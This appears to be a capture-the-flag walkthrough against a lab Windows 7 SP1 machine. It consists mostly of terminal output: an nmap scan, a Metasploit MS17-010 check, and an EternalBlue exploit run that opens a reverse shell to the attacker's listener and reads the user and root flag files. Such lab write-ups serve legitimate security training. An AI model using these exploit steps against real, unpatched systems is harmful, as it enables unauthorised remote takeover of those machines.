```
└──╼ [★]$ ping 10.129.77.157

└──╼ [★]$ nmap -Pn -T4 -A -v 10.129.77.157
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup:
WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2s, deviation: 2s, median: 1s
| smb-os-discovery:
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2021-01-09T15:03:55+00:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2021-01-09T15:03:52
|_  start_date: 2021-01-09T14:59:09

└──╼ [★]$ msfconsole
msf5 > use auxiliary/scanner/smb/smb_ms17_010
msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhost 10.129.77.157
rhost => 10.129.77.157
msf5 auxiliary(scanner/smb/smb_ms17_010) > run

[+] 10.129.77.157:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601
Service Pack 1 x64 (64-bit)
[*] 10.129.77.157:445     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed


the target is running Windows 7 Professional SP1
which is a prime candidate for EternalBlue (MS17-010)

msf5 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhost 10.129.77.157
rhost => 10.129.77.157
msf5 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 10.10.14.90:4444
[*] 10.129.77.157:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.129.77.157:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601
Service Pack 1 x64 (64-bit)
[*] 10.129.77.157:445     - Scanned 1 of 1 hosts (100% complete)
[*] 10.129.77.157:445 - Connecting to target for exploitation.
[+] 10.129.77.157:445 - Connection established for exploitation.
[+] 10.129.77.157:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.129.77.157:445 - CORE raw buffer dump (42 bytes)
[*] 10.129.77.157:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7
Profes
[*] 10.129.77.157:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601
Serv
[*] 10.129.77.157:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.129.77.157:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.129.77.157:445 - Trying exploit with 12 Groom Allocations.
[*] 10.129.77.157:445 - Sending all but last fragment of exploit packet
```

```
[*] 10.129.77.157:445 - Starting non-paged pool grooming
[+] 10.129.77.157:445 - Sending SMBv2 buffers
[+] 10.129.77.157:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.129.77.157:445 - Sending final SMBv2 buffers.
[*] 10.129.77.157:445 - Sending last fragment of exploit packet!
[*] 10.129.77.157:445 - Receiving response from exploit packet
[+] 10.129.77.157:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.129.77.157:445 - Sending egg to corrupted connection.
[*] 10.129.77.157:445 - Triggering free of corrupted buffer.
[*] Command shell session 1 opened (10.10.14.90:4444 -> 10.129.77.157:49158) at 2021-01-09 15:14:58
+0000
[+] 10.129.77.157:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.129.77.157:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.129.77.157:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


C:\Users\haris>cd desktop
cd desktop

C:\Users\haris\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A0EF-1911

 Directory of C:\Users\haris\Desktop

24/12/2017  02:23    <DIR>          .
24/12/2017  02:23    <DIR>          ..
21/07/2017  06:54                32 user.txt
               1 File(s)             32 bytes
               2 Dir(s)  15,346,786,304 bytes free

C:\Users\haris\Desktop>type user.txt
type user.txt
4c546aea7dbe********************

C:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A0EF-1911

 Directory of C:\Users\Administrator\Desktop

24/12/2017  02:22    <DIR>          .
24/12/2017  02:22    <DIR>          ..
21/07/2017  06:57                32 root.txt
               1 File(s)             32 bytes
               2 Dir(s)  15,481,638,912 bytes free

C:\Users\Administrator\Desktop>type root.txt
type root.txt
ff548eb71e92********************
```